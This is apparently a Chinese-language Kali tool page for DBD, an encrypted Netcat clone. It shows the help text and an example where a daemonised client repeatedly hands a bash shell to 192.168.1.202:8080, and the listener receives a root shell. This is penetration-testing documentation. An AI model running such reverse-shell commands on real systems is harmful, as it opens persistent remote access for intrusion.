DBD 介绍

DBD是Netcat的克隆,设计为可移植并提供强大的加密。它运行在Unix类操作系统和微软的Win32。 DBD使用了AES-CBC-128 + HMAC-SHA1加密(由Christophe Devine),程序执行(-e选项),选择源端口,连续重联的延迟,和其他一些不错的功能, DBD只支持TCP/IP通信,源代码和二进制文件分布在GNU通用公共许可证下。

资料来源:https://github.com/gitdurandal/dbd
DBD 首页
DBD 源代码版本库

包括在DBD包工具

DBD - Netcat加密工具的克隆

:~# dbd -h
dbd 1.50 Copyright (C) 2013 Kyle Barnthouse <>
$Id: dbd.c,v 1.50 2013/05/20 15:40:00 durandal Exp $

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.

connect (tcp): dbd [-options] host port
listen (tcp):  dbd -l -p port [-options]
options:
    -l          listen for incoming connection
    -p n        choose port to listen on, or source port to connect out from
    -a address  choose an address to listen on or connect out from
    -e prog     program to execute after connect (e.g. -e cmd.exe or -e bash)
    -r n        infinitely respawn/reconnect, pause for n seconds between
                connection attempts. -r0 can be used to re-listen after
                disconnect (just like a regular daemon)
    -c on|off   encryption on/off. specify whether you want to use the built-in
                AES-CBC-128 + HMAC-SHA1 encryption implementation (by
                Christophe Devine - http://www.cr0.net:8040/) or not
                default is: -c on
    -k secret   override default phrase to use for encryption (secret must be
                shared between client and server)
    -q          hush, quiet, don't print anything (overrides -v)
    -v          be verbose
    -n          toggle numeric-only IP addresses (don't do DNS resolution). if
                you specify -n twice, original state will be active (i.e. -n
                works like a on/off switch)
    -m          toggle monitoring (snooping) on/off (only used with the -e
                option). snooping can also be turned on by specifying -vv (-v
                two times)
    -P prefix   add prefix (+ a hardcoded separator) to all outbound data.
                this option is mostly only useful for dbd in "chat mode" (to
                prefix lines you send with your nickname)
    -H on|off   highlight incoming data with a hardcoded (color) escape
                sequence (for e.g. chatting). default is: -H off
    -V          print version banner and exit (include that output in your
                bug report and send bug report to )
unix-like OS specific options:
    -s          invoke a shell, nothing else. if dbd is setuid 0, it'll invoke
                a root shell
    -w n        "immobility timeout" in seconds for idle read/write operations
                and program execution (the -e option)
    -D on|off   fork and run in background (daemonize). default: -D off

DBD 示例

在客户端,每一个重生2400 秒(-r 2400),作为后台进程运行>(-D on),显示详细输出(-v),并送达的bash shell(-e /bin/bash)的 ,连接到远程主机(192.168.1.202)8080端口(8080)。
在服务器,侦听端口8080(-p8080)的连接(-l),并显示详细输出(-v)。

root@kali:~# dbd -r 2400 -D on -v -e /bin/bash 192.168.1.202 8080

root@kali:~# dbd -l -p8080 -v
listening on port 8080
reverse lookup of 192.168.1.202 failed: Unknown server error
connect to 192.168.1.202:8080 from 192.168.1.202:58651 (n/a)
id
uid=0(root) gid=0(root) groups=0(root)